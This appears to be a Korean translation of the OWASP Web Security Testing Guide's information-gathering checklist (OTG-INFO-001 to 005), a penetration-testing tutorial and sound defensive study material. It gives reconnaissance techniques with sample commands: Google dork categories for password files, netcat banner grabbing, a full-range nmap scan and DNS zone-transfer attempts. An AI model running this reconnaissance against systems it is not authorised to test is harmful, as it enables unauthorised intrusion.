OWASP Check List

00_정보수집

OTG-INFO-001 (써치 엔진으로 정보 노출 검색)


개요

써치 엔진으로 정보 노출을 검색하는 방식에는 직접 방식과 간접 방식이 있습니다. 직접 방식은 저장된 페이지로 부터 인덱스와 관련 컨텐츠를 검색하는 것이고, 간접 방식은 검색 포럼, 뉴스 그룹, 결재 웹 사이트에서 민감한 디자인과 구성 정보를 수집하는 것 입니다.

써치 엔진 봇을 통한 수집이 완료되면, 관련 검색 결과를 리턴하기 위해 <TITLE>과 같은 태그 또는 관련 속성에 기초하여 상기 웹페이지를 인덱싱하기 시작합니다. 만약 robots.txt 파일이 웹사이트가 라이브할 동안 업데이트 되지 않았을 경우, 봇이 명령한 내부 HTML 메타 태그 검색 결과가 관리자에 의해 포함된 것이 아닌 웹 컨텐츠를 포함한 인덱스가 될 수 있습니다.

웹사이트 관리자는 이러한 컨텐츠를 제거하기 위해 써치 엔진에 의해 제공되는 robots.txt, HTML 메타 태그, 인증, 툴 등을 사용할 수 있습니다.


테스트 목적

응용 프로그램/시스템/기관의 민감한 디자인과 설정 정보가 직접 또는 간접적으로 노출되는 것 이해하기


테스트 방법

써치 엔진 사용

  • 네트워크 다이어그램 및 구성
  • 관리자 및 기타 주요 직원에 의해 기록된 게시물과 이메일
  • 절차 및 사용자명 형식 로그인
  • 사용자명 및 패스워드
  • 에러 메시지 컨텐츠
  • 개발, 테스트, UAT, 웹사이트 버전

검색 연산자

site: 옵션을 사용하여 특정 도메인에 대한 검색 결과를 제한할 수 있습니다.

수집할 때 컨텐츠와 알고리즘에 따라 다른 결과를 생성 할 수 있으므로, 하나의 검색 엔진에 테스트를 제한하지 마십시오.

검색 엔진 종류

  • Baidu
  • binsearch.info
  • Bing
  • Duck Duck Go
  • ixquick/Startpage
  • Google
  • Shodan
  • PunkSpider

Duck Duck Go와 ixquick/Startpage는 테스터에 관한 정보 유출을 최소화할 수 있습니다.

Google은 cache: 옵션을 제공하는데, 이 옵션은 Google 검색 결과에 저장된 페이지 와 동일합니다. 따라서, site: 옵션을 사용한 후 저장된 페이지 를 클릭하면 됩니다.

Google SOAP Search API는 저장된 페이지 검색을 지원하기 위해 doGetCachedPage 와 관련 doGetCachedPageResponse SOAP 메시지를 지원합니다.

해당 구현은 OWASP Google Hacking 프로젝트에 의해 개발 중입니다.

PunkSpider는 웹 응용 프로그램 취약점 검색 엔진입니다. 침투 테스터가 수동 작업을 하기 위한 용도로 사용됩니다. 그러나 스크립트 키드들이 취약점을 찾는데 데모로 유용하게 사용됩니다.

예제

일반적인 검색 엔진으로 owasp.org의 웹 컨텐츠를 찾기 위해, 다음 구문을 사용합니다.

site:owasp.org

저장된 owasp.org의 index.html을 보기위해 다음 구문을 사용합니다.

cache:owasp.org

Google Hacking Database

Google Hacking Database는 Google으로 유용한 검색 쿼리 리스트입니다.

Google 검색 쿼리 종류

  • Footholds
  • Files containing usernames
  • Sensitive Directories
  • Web Server Detection
  • Vulnerable Files
  • Vulnerable Servers
  • Error Messages
  • Files containing juicy info
  • Files containing passwords
  • Sensitive Online Shopping Info

참고 문헌


개선 방안

온라인에 게시하기 전에 민간한 디자인과 설정 정보에 대해 주의깊에 살펴보십시오. 정기적으로 온라인에 게시되어 있는 기존 디자인과 설정 정보에 대해 검토하십시오.


OTG-INFO-002 (웹서버 핑거프린팅)


개요

웹 서버 핑거프린팅은 침투 테스터를 위한 중요한 작업 입니다.

웹 서버 형태와 버전을 아는 것은 테스터에게는 사용할 수 있는 취약점과 적절한 익스플로잇을 정의할 수 있습니다. 최근에는 웹 서버의 벤더와 버전이 여러 개 존재합니다. 테스트 할 때 웹 서버 형태를 아는 것은 테스트 과정에서 상당히 도움이 됩니다.

웹 서버의 각각의 형태는 특정 명령에 응답하는 데이터베이스에 대해 정보를 보유하고 있어, 응답 데이터 분석을 통해 알려진 시그너처와 비교해 볼 수 있습니다.

웹 서버를 식별하기 위한 여러가지 명령들이 있으며, 같은 명령에 유사하게 반응 하는 다른 버전들도 있습니다. 거의 서로 다른 버전의 모든 HTTP 명령에 동일한 반응하지 않습니다. 여러 명령을 전송함으로써, 테스터는 추측의 정확도를 높일 수 있습니다.


테스트 목적

침투 테스트 시 사용할 취약점과 적합한 익스플로잇을 찾기하기 위해 실행중인 웹 서버의 버전과 형식을 확인합니다.


테스트 방법

Black Box testing

웹 서버를 식별하기 위한 가장 간단하고 기본적인 방법은 HTTP 응답 헤더에서 Server 필드를 확인하는 것입니다. NetCat을 이용하여 다음과 같이 사용합니다.

$ nc 202.41.76.251 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Mon, 16 Jun 2003 02:53:29 GMT
Server: Apache/1.3.3 (Unix) (Red Hat/Linux)
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT
ETag: "1813-49b-361b4df6"
Accept-Ranges: bytes
Content-Length: 1179
Connection: close
Content-Type: text/html

Server 필드로 부터 Apache 1.3.3 이라는 것을 확인할 수 있으며, Linux 운영체제인 것도 확인 가능합니다. 아래 다른 서버에 대한 예제를 4개 더 보도록 하겠습니다.

Apache 1.3.23 서버

HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML

Microsoft IIS 5.0 서버

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Expires: Yours, 17 Jun 2003 01:41: 33 GMT
Date: Mon, 16 Jun 2003 01:41: 33 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT
ETag: b0aac0542e25c31: 89d
Content-Length: 7369

Netscape Enterprise 4.1 서버

HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:19: 04 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close

SunONE 6.1 서버

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 14:53:45 GMT
Content-length: 1186
Content-type: text/html
Date: Tue, 16 Jan 2007 14:50:31 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Accept-Ranges: bytes
Connection: close

위의 테스트 방법은 정확성에 문제가 있을 수 있습니다. 서버 베너 문자열을 수정하거나 난독화 시키는 방법이 있기 때문입니다.

403 HTTP/1.1 Forbidden
Date: Mon, 16 Jun 2003 02:41: 27 GMT
Server: Unknown-Webserver/1.0
Connection: close
Content-Type: text/HTML; charset=iso-8859-1

위의 경우 응답 헤더에 Server 필드가 난독화되어 있어, 침투 테스터는 웹 서버의 기본 정보를 확인할 수 없습니다.


프로토콜 행위

더 정교한 기술은 이용하는 여러 웹 서버의 다양한 특성을 이용하는 것입니다. 아래 침투 테스터가 침투시 웹 서버 형태를 추론할 수 있는 또 다른 방법을 설명합니다.


HTTP 헤더 필드 순서

HTTP 응답 헤더 순서를 관찰하여 웹 서버를 구분할 수 있습니다. 아래 응답 헤더 부분을 보면 Apache, Netscape Enterprise, IIS가 Date 필드와 Server 필드 사이의 순서가 다른 것을 확인할 수 있습니다.

Apache 1.3.23 서버

$ nc apache.example.com 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML

Microsoft IIS 5.0 서버

$ nc iis.example.com 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:13: 52 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
ETag: W/e0d362a4c335be1: ae1
Content-Length: 133

Netscape Enterprise 4.1 서버

$ nc netscape.example.com 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:01: 40 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close

SunONE 6.1 서버

$ nc sunone.example.com 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:23:37 GMT
Content-length: 0
Content-type: text/html
Date: Tue, 16 Jan 2007 15:20:26 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Connection: close

악의적 리퀘스트 테스트

또 다른 유용한 침투 테스트는 악의적인 리퀘스트 또는 존재하지 않는 페이지 요청을 서버에 보내는 것입니다. 아래를 확인해보면 서버마다 다른 응답 헤더를 보내는 것을 확인할 수 있습니다.

Apache 1.3.23 서버

$ nc apache.example.com 80
GET / HTTP/3.0
HTTP/1.1 400 Bad Request
Date: Sun, 15 Jun 2003 17:12: 37 GMT
Server: Apache/1.3.23
Connection: close
Transfer: chunked
Content-Type: text/HTML; charset=iso-8859-1

$ nc apache.example.com 80
GET / JUNK/1.0
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:17: 47 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML

Microsoft IIS 5.0 서버

$ nc iis.example.com 80
GET / HTTP/3.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:14: 02 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
ETag: W/e0d362a4c335be1: ae1
Content-Length: 133

$ nc iis.example.com 80
GET / JUNK/1.0
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Fri, 01 Jan 1999 20:14: 34 GMT
Content-Type: text/HTML
Content-Length: 87

Netscape Enterprise 4.1 서버

$ nc netscape.example.com 80
GET / HTTP/3.0

HTTP/1.1 505 HTTP Version Not Supported
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:04: 04 GMT
Content-length: 140
Content-type: text/HTML
Connection: close

$ nc netscape.example.com 80
GET / JUNK/1.0
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Your browser sent to query this server could not understand.
</BODY></HTML>

SunONE 6.1 서버

$ nc sunone.example.com 80
GET / HTTP/3.0
HTTP/1.1 400 Bad request
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:25:00 GMT
Content-length: 0
Content-type: text/html
Connection: close

$ nc sunone.example.com 80
GET / JUNK/1.0
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Your browser sent a query this server could not understand.
</BODY></HTML>

도구

자동 테스트

웹 서버 헤더 분석과 배너 수집을 위해 수동으로 의존하는 것보다, 동일한 결과를 얻기 위해 자동화된 도구를 사용하는 것이 좋습니다. 웹 서버를 정확하게 핑거프린트하기 위해 수행하는 테스트 방법이 여러가지 있는데, 그 중 "httprint" 라는 툴이 있습니다. httprint는 웹 서버 버전과 형태를 인식하기 위해 시그너처 데이터베이스를 사용합니다.


온라인 테스트

온라인 툴은 직접 타겟 웹 사이트에 연결하기를 원치 않을 경우 사용할 수 있습니다. Netcraft라는 툴은 웹 서버 서버 가동 시간, Netblock 소유자, 웹 서버 관련 히스토리 등의 정보를 확인할 수 있습니다. OWASP Unmaskme 프로젝트는 추출한 모든 웹 메타 데이터의 전반적인 해석과 모든 웹 사이트의 핑거프린트를 수행하는 또 다른 온라인 도구가 될 것으로 예상됩니다.


참고 문헌


개선 방안

강화된 리버스 프록시 뒤에 표현 계층 웹 서버를 보호합니다. 표현 계층 웹 서버 헤더를 난독화합니다.

  • Apache
  • IIS

OTG-INFO-003 (정보 노출을 확인하기 위해 웹 서버 메타 파일 확인)


개요

이번 섹션에서는 웹 응용 프로그램의 디렉토리 또는 폴더 경로 정보 노출에 대한 robots.txt 파일을 테스트하는 방법에 대해 설명합니다.

또한, Spiders, Robots, Crawler를 우회하는 디렉토리 리스트는 응용 프로그램을 통한 실행 경로 맵에 의존하여 생성될 수 있습니다.(OTG-INFO-007)


테스트 목적

  1. 웹 응용 프로그램의 디렉토리의 정보 노출
  2. Spiders, Robots, Crawler를 방지하기 위한 디렉토리 리스트 생성

테스트 방법

robots.txt

Spiders, Robots, Crawler는 웹 페이지를 검색하고 더 많은 웹 컨텐츠를 검색하기 위해 반복적으로 하이퍼링크를 선회합니다.

허용 동작은 웹 루트 디렉토리에 robots.txt 파일의 Robots Exclusion Protocol에 의해 지정됩니다. 아래 2013년 8월 11에 http://www.google.com/robots.txt의 robots.txt 파일의 시작 부분 에 대한 샘플을 확인할 수 있습니다.

User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
Disallow: /catalogs
...

User-Agent 지시어는 특정 web spider/robot/crawler를 의미합니다. 예를 들어, User-Agent: Googlebot은 Goolg spider를 의미하고, User-Agent: bingbot은 Microsoft/Yahoo crawler를 의미합니다. User-Agent: *은 web spider/robot/crawler 전체를 의미합니다.

User-agent: *

Disallow 지시어는 web spider/robot/crawler에 의해 금지할 리소스를 지정합니다. 예를 들어, 아래와 같은 디렉토리는 금지 설정되어 있습니다.

...
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
Disallow: /catalogs
...

Web spiders/robots/crawlers는 의도적으로 소셜 네트워크로 부터 여전히 유효한지 확인하는 robots.txt 파일에 지정된 Disallow 지시어를 무시할 수 있습니다. 따라서, robots.txt가 웹 컨텐츠를 써드 파티에 의해 접근, 저장, 게시되는 방법에 제한을 적용하는 메커니즘으로 간주되서는 안됩니다.


웹 루트 robots.txt - "wget", "curl"

robots.txt 파일은 웹 서버의 웹 루트 디렉토리에서 검색됩니다. 예를 들어, www.google.com으로 부터 robots.txt를 검색하기 위해 "wget" 또는 "curl" 을 사용합니다.

cmlh$ wget http://www.google.com/robots.txt
--2013-08-11 14:40:36-- http://www.google.com/robots.txt
Resolving www.google.com... 74.125.237.17, 74.125.237.18,
74.125.237.19, ...
Connecting to www.google.com|74.125.237.17|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: ‘robots.txt.1’

 [ <=> ] 7,074 --.-K/s in 0s

2013-08-11 14:40:37 (59.7 MB/s) - ‘robots.txt’ saved [7074]

cmlh$ head -n5 robots.txt
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
cmlh$ curl -O http://www.google.com/robots.txt
 % Total % Received % Xferd Average Speed Time Time
Time Current
 Dload Upload Total Spent Left Speed
101 7074 0 7074 0 0 9410 0 --:--:-- --:--:-- --:--:--
27312

cmlh$ head -n5 robots.txt
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images

웹 루트 robots.txt - rockspider

"rockspider"는 파일의 Spiders/Robots/Crawlers와 웹 사이트의 디렉토리/폴더로 초기 범위를 지정하여 생성합니다. 예를 들어, "rockspider"를 사용하여 www.google.com으로 Allowed: directive를 기본으로 초기 범위를 생성합니다.

cmlh$ ./rockspider.pl -www www.google.com

"Rockspider" Alpha v0.1_2

Copyright 2013 Christian Heinrich
Licensed under the Apache License, Version 2.0

1. Downloading http://www.google.com/robots.txt
2. "robots.txt" saved as "www.google.com-robots.txt"
3. Sending Allow: URIs of www.google.com to web proxy i.e.
127.0.0.1:8080
 /catalogs/about sent
 /catalogs/p? sent
 /news/directory sent
...
4. Done.

Google Webmaster 툴을 사용하여 robots.txt 분석

웹 사이트 관리자는 "Google Webmaster Tools"의 일부로 웹 사이트 분석 기능인 "Analyze robots.txt"를 사용할 수 있습니다. (https://www.google.com/webmasters/tools) 이 툴은 다음 절차로 테스트를 지원합니다.

  1. 구글 계정으로 Google Webmaster Tools 가입
  2. 대쉬보드에서 분석할 사이트 URL 기입
  3. 이용할 방법을 선택하고 화면의 지시에 따릅니다.

<META> 태그

<META> 태그는 각 HTML 문서의 HEAD 섹션에 위치하고 있습니다.

"<META NAME='ROBOTS' ... >"가 없다면 "Robots Exclusion Protocol"은 기본적으로 "INDEX,FOLLOW"가 존재합니다. 그러므로, "Robots Exclusion Protocol"에 정의한 2개의 유효 항목은 "NOINDEX"와 "NOFOLLOW"와 같이 "No..."로 시작됩니다.

Web spiders/robots/crawlers는 의도적으로 robots.txt 파일과 같은 "<META NAME='ROBOTS'" 태그를 무시할 수 있습니다. 따라서, <META> 태그는 robots.txt에 보완할 수 있는 메커니즘으로 간주되서는 안됩니다.


<META> 태그 - Burp

웹 루트에 robots.txt 파일에 Disallow 지시어에 기초하여, 각각의 웹 페이지 내에 "<META NAME='ROBOTS'" 정규 표현식 검색은 웹 루트에 robots.txt 파일을 비교하는 결과를 수행합니다.

예를 들어, facebook.com의 robots.txt 파일은 "Disallow:/ac.php" 항목을 가지고 있습니다. 그리고 결과는 "<META NAME='ROBOTS'"를 찾는 것입니다.

"INDEX,FOLLOW"는 "Robots Exclusion Protocol"에 의해 지정한 기본적인 <META> 태그 이며, "Disallow: /ac.php"는 robots.txt에 의해 목록화되어 있습니다.


도구

  • Browser (View Source function)
  • curl
  • wget
  • rockspider

참고 문헌


OTG-INFO-004 (웹 서버에 응용 프로그램 확인)


개요

웹 응용 프로그램 취약점 테스트에서 가장 중요한 단계는 웹 서버에 호스팅되어 있는 특정 응용 프로그램을 찾는 것입니다. 많은 응용 프로그램들이 원격 관리 권한을 획득하거나 데이터를 얻기 위해 알려진 취약점 및 공격 기법들이 있습니다. 추가적으로, 많은 응용 프로그램들이 내부적으로 사용한다는 인식 때문에 대부분 잘못된 설정을 하거나 최신으로 업데이트 하지 않아, 위협이 존재할 수 있습니다.

가상 웹 서버 확산으로 기존의 IP와 웹서버의 1:1 형식은 원래 의미를 잃었습니다.

동일한 IP 주소로 확인된 도메인 명이 여러 웹 사이트 또는 응용 프로그램을 가지는게 드문 일이 아닙니다. 이 시나리오는 호스팅 환경에 한정되지 않지만, 통상적으로 기업에 적용됩니다.

보안 전문가들에게는 때때로 침투 테스트 대상으로 IP 주소가 주어지기도 합니다. IP로 주어지는 침투 테스트 시나리오는 대상을 통해 접근할 수 있는 모든 웹 응용 프로그램을 테스트하기 위한 경우 입니다. 문제는 주어진 IP 주소가 포트 80에서 HTTP 서비스를 호스팅하는 것이지만, 만약 테스터가 IP 주소를 지정하여 접근하면, "No web server configured at this address" 또는 이와 유사한 메시지가 보고됩니다.

그러나, 시스템은 관련없는 DNS에 연결된 웹 응용 프로그램의 수를 숨길 수 있습니다.

분명히 분석의 범위는 테스터가 모든 응용 프로그램을 테스트하는 데 큰 영향을 받습니다.

때때로, 대상 특성이 더 풍부해집니다.

테스터는 IP 주소와 그에 상응하는 DNS를 제공받을 수 있습니다.

그럼에도 불구하고, 이 리스트는 부분적인 정보를 전달할 것입니다. 즉, DNS를 생략할 수 있고, 클라이언트는 그것을 인식하지 못할 수도 있습니다. (이것은 큰 조직에서 발생할 가능성이 더 큽니다.)

평가 범위에 영향을 미치는 다른 문제는 명확하지 않은 URL에 게시된 응용 프로그램에 의해 표현됩니다. (예제> http://www.example.com/some-strange-URL),

이것은 설정 실수와 같은 에러나 알려지지 않은 관리자 인터페이스와 같이 의도적으로 발생될 수 있습니다.

이러한 문제를 해결하기 위해서는, 웹 응용 프로그램의 검색을 수행 할 필요가 있습니다.


테스트 목적

웹 서버에 존재하는 응용 프로그램 확인


테스트 방법


Black Box Testing

웹 응용 프로그램 발견은 주어진 인프라에서 웹 응용 프로그램을 식별하기 위한 과정입니다. 후자는 일반적으로 IP 주소의 집합으로 지정되지만, DNS 명 또는 이들 조합으로 구성될 수 있습니다.

이 정보는 고전적인 스타일의 침투 테스트 또는 응용 프로그램 중심의 평가 일지라도 평가 수행 전에 전달됩니다.

두 가지 경우 모두 침투 테스트 규칙에 따로 명시하지 않는 한, 평가는 범위에서 가장 포괄적이 되도록 노력해야 합니다. 즉, 주어진 대상을 통해 액세스 할 수 있는 모든 응용 프로그램을 식별해야 합니다.

다음 예제들은 이 목표를 달성하는 데 사용할 수 있는 몇 가지 기술을 검토합니다.


1. 다른 기본 URL

웹 응용 프로그램에서 명백한 입력 지점은 www.example.com 입니다. 즉, http://www.example.com/ 에서 시작하는 웹 응용 프로그램의 단축 표기번을 생각해볼 수 있습니다.

위와 같은 경우가 일반적인 상황이지만, "/"에서 응용 프로그램을 시작하지 않아도 됩니다.

예를 들어, 다음과 같은 세 가지 웹 응용 프로그램에 동일한 기호 이름을 연결할 수 있습니다.

이 경우 URL http://www.example.com/은 의미있는 페이지로 연결되지 않으며, 세 가지 응용 프로그램은 테스터가 정확하게 연결하는 방법을 알지 못하는 한 "숨김"상태가 됩니다. 즉, 테스터는 url1, url2 또는 url3로 알고 있습니다.

소유자가 표준 방식으로 액세스하기를 원하지 않는 한 일반적으로 이러한 방식으로 웹 응용 프로그램을 게시할 필요는 없으며, 정확한 위치를 사용자에게 알릴 준비가 되어 있습니다.

이것은 응용 프로그램이 보안되어 있다는걸 의미하진 않으며, 프로그램의 존재 및 위치가 분명하게 공개되지 않았음을 의미합니다.


2. 비표준 포트

웹 응용 프로그램은 일반적으로 포트 80(http) 및 443(https)에 있지만, 이러한 포트 번호에 대해서는 별다른 변화가 없습니다.

사실 상, 웹 응용 프로그램은 임의의 TCP 포트와 연괼될 수 있으며, 다음과 같이 포트 번호를 지정하여 참조할 수 있습니다.

http://www.example.com:20000/

3. Virtual hosts

DNS는 단일 IP 주소가 하나 이상의 심볼릭 네임과 연결되도록 허용합니다. 예를 들어, IP 주소 192.168.1.100은 DNS 네임 www.example.com, helpdesk.example.com, webmail.example.com으로 할당할 수 있습니다. 모든 이름이 동일한 DNS 도메인에 속할 필요는 없습니다.

이 1-to-N 관계는 소위 virtual host를 사용하여 다른 컨텐츠를 제공하기 위해 반영될 수 있습니다. 참조하고 있는 virtual host를 지정하는 정보는 HTTP 1.1 Host: header에 내장되어 있습니다.

helpdesk.example.com과 webmail.example.com을 알지 못한다면, 분명한 www.example.com 외에 다른 웹 응용 프로그램의 존재를 의심하지 않아도 됩니다.



문제를 해결하기 위한 접근 방식 1 - non-standard URLs

비표준 웹 응용 프로그램의 존재를 완전히 확인할 수 있는 방법은 없습니다.

비표준이기 때문에 명명 규칙을 관리하는 고정 된 기준은 없지만, 테스터가 몇 가지 추가적인 통찰력을 얻기 위해 사용할 수 있는 여러 기술이 있습니다.

첫째, 웹 서버가 잘못 구성되어 있고 디렉토리 검색이 가능하다면 이러한 응용 프로그램을 발견 할 수 있습니다.

취약점 스캐너가 이러한 측면에서 도움이 될 수 있습니다.

둘째, 이러한 응용 프로그램은 다른 웹 페이지에서 참조할 수 있으며 웹 검색 엔진에서 수집 및 색인을 생성 할 가능성이 있습니다.

테스터가 www.example.com에서 이러한 "숨겨진" 응용 프로그램의 존재를 의심하면, "site : www.example.com"에 대한 쿼리 결과를 검사 할 수 있습니다.

반환된 URL 중에는 이러한 명백하지 않은 응용 프로그램을 가리키는 URL이 있을 수 있습니다.

또 다른 옵션은 게시되지 않은 응용 프로그램의 후보가 될 수 있는 URL을 조사하는 것입니다.

예를 들어, 웹 메일 프론트 엔드는 https://www.example.com/webmail, https://webmail.example.com/ 또는 https://mail.example.com/과 같은 URL에서 액세스 할 수 있습니다.

숨겨진 URL에 게시 될 수 있지만 아직 참조되지 않은 관리 인터페이스의 경우에도 마찬가지 입니다.

따라서 약간의 사전 스타일 검색 (또는 "지능적 추측")을 수행하면 몇 가지 결과를 얻을 수 있습니다. 취약점 스캐너가 이러한 측면에서 도움이 될 수 있습니다.


문제를 해결하기 위한 접근 방식 2 - non-standard ports

비표준 포트는 웹 응용 프로그램의 존재 여부를 쉽게 확인할 수 있습니다.

nmap과 같은 포트 스캐너로 -s 옵션을 사용하여 서비스 인식을 수행 할 수 있으며, 임의의 포트에서 http[s] 서비스를 식별합니다.

필요한 것은 전체 64k TCP 포트 주소 공간을 전체적으로 검사하는 것입니다.

예를 들어, 다음 명령은 TCP 연결 검사와 함께 IP 192.168.1.100에 있는 모든 열린 포트를 검색하고 어떤 서비스가 이들에 바인딩되어 있는지 확인하려고 시도합니다.

nmap –PN –sT –sV –p0-65535 192.168.1.100

Interesting ports on 192.168.1.100:
(The 65527 ports scanned but not shown below are in state: closed)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 3.5p1 (protocol 1.99)
80/tcp    open  http        Apache httpd 2.0.40 ((Red Hat Linux))
443/tcp   open  ssl         OpenSSL
901/tcp       open  http        Samba SWAT administration server
1241/tcp  open  ssl         Nessus security scanner
3690/tcp  open  unknown
8000/tcp  open  http-alt?
8080/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1

이 예제로 부터 아래와 같은 내용을 확인할 수 있습니다.

  • Apache http 서버는 80 포트에서 실행되고 있음.
  • It looks like there is an 443 포트에서 https 서버가 있는 것으로 보임
  • 901 포트에 Samba SWAT 웹 인터페이스가 있음.
  • 1241 포트에 서비스는 https가 아니지만 SSL-wrapped Nessus daemon이 실행 중.
  • 포트 3690에는 지정되지 않은 서비스가 있습니다.
  • 포트 8000의 또 다른 알려지지 않은 서비스; 이 포트에서 http 서버를 찾는 것이 일반적이지 않기 때문에 아마도 http 일 수 있습니다.
$ telnet 192.168.10.100 8000
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
GET / HTTP/1.0

HTTP/1.0 200 OK
pragma: no-cache
Content-Type: text/html
Server: MX4J-HTTPD/1.0
expires: now
Cache-Control: no-cache

<html>
...

이는 실제로 HTTP 서버임을 확인합니다.

  • Apache Tomcat은 포트 8080에서 실행 중입니다.

문제를 해결하기 위한 접근 방식 3 - virtual hosts

주어진 IP 주소 x.y.z.t에 할당된 DNS명을 식별하기 위해 사용할 수 있는 수많은 기술이 있습니다..

DNS zone-transfers

이 기술은 최근 DNS 서버가 zone-transfer 기능을 사용하지 않는다는 사실을 감안할 때 사용이 제한적입니다.

그러나, 시도해 볼 가치가 있습니다.

우선, 테스터는 x.y.z.y를 제공하는 네임 서버를 결정해야 합니다. 만약 심볼릭 네임이 x.y.z.t로 알려져있다면, DNS 서버 레코드를 요청하여 nslookup, host 또는 dig와 같은 도구를 사용하여 네임 서버를 결정할 수 있습니다.

만약 심볼릭 네임이 x.y.z.t로 알려져있지 않지만 대상 정의에 심볼릭 네임이 일부 포함되어 있다면, 테스터는 동일한 프로세스를 적용하고 네임 서버에 해당 이름을 쿼리하려고 시도할 수 있습니다.

예를 들어, 만약 대상 IP 주소가 x.y.z.t로 구성되어 있고 mail.example.com이라면, 네임서버는 example.com으로 결정됩니다. 다음 예제는 host 명령을 사용하여 www.owasp.org에 네임 서버를 식별하는 방법을 보여줍니다.

$ host -t ns www.owasp.org
www.owasp.org is an alias for owasp.org.
owasp.org name server ns1.secure.net.
owasp.org name server ns2.secure.net.

zone-transfer는 이제 example.com 도메인의 네임 서버에 요청할 수 있습니다. 테스터가 운이 좋으면, 이 도메인의 DNS 항목 목록을 다시 가져옵니다.

여기에는 명백한 www.example.com과 명확하지 않은 helpdesk.example.com 및 webmail.example.com이 포함됩니다.

zone-transfer로 반환된 모든 이름을 확인하고 평가 대상과 연관된 모든 이름을 고려하십시오. 그것의 네임 서버 중 하나로부터 owasp.org에 zone-transfer 요청을 시도합니다.

$ host -l www.owasp.org ns1.secure.net
Using domain server:
Name: ns1.secure.net
Address: 192.220.124.10#53
Aliases:

Host www.owasp.org not found: 5(REFUSED)
; Transfer failed.
DNS inverse queries

이 과정은 위와 유사하지만, inverse DNS 레코드에 의존합니다. zone-transfer를 요청하는 대신, 레코드 유형을 PTR로 설정하여 지정된 IP 주소에 대해 쿼리를 실행하십시오.

테스터가 운이 좋으면, DNS 항목을 다시 가져올 수 있습니다. 이 기술은 IP 심볼릭 네임 맵의 존재에 의존하며, 이는 보장되지 않습니다.

Web-based DNS searches

해당 종류의 검색은 DNS zone-transfer와 비슷하지만 DNS 기반의 이름 기반 검색을 가능하게 하는 웹 기반 서비스에 의존합니다.

Netcraft Search DNS 서비스: http://searchdns.netcraft.com/?host

Reverse-IP services

Reverse-IP 서비스는 DNS inverse querie와 유사하지만, 테스터가 이름 서버 대신 웹 기반 응용 프로그램을 쿼리한다는 차이점이 있습니다. 해당 서비스는 여러 가지가 있습니다.

그들은 부분적인 결과를 반환하는 경향이 있으므로, 보다 포괄적 인 분석을 얻으려면 여러 서비스를 사용하는 것이 좋습니다.

Googling

테스터는 써치 엔진을 통해 정보 수집을 하여, 공격 대상과 관련된 추가 도메인 명의 정보를 얻거나, 비 명백한 URL을 통해 액세스 할 수 있습니다.

구글링 기술은 Spiders, Robots, Crawlers 테스트를 위해 설명되었습니다.


Gray Box Testing

Not applicable.


도구


참고 문헌

  • RFC 2616: Hypertext Transfer Protocol – HTTP 1.1

OTG-INFO-005 (정보 노출을 확인하기 위해 웹 페이지 주석과 메타 데이터 확인)


개요

프로그래머가 소스코드에 대한 상세한 주석 및 메타 데이터를 포함시키는 것은 매우 흔한 일이고, 심지어 권고됩니다. 그러나, HTML 코드에 포함된 주석과 메타 데이터는 잠재적인 공격자에게 제공해서는 안될 내부 정보를 공개할 수도 있습니다. 주석과 메타 데이터는 정보 유출 여부를 판단하기 위해 확인되어야 합니다.


테스트 목적

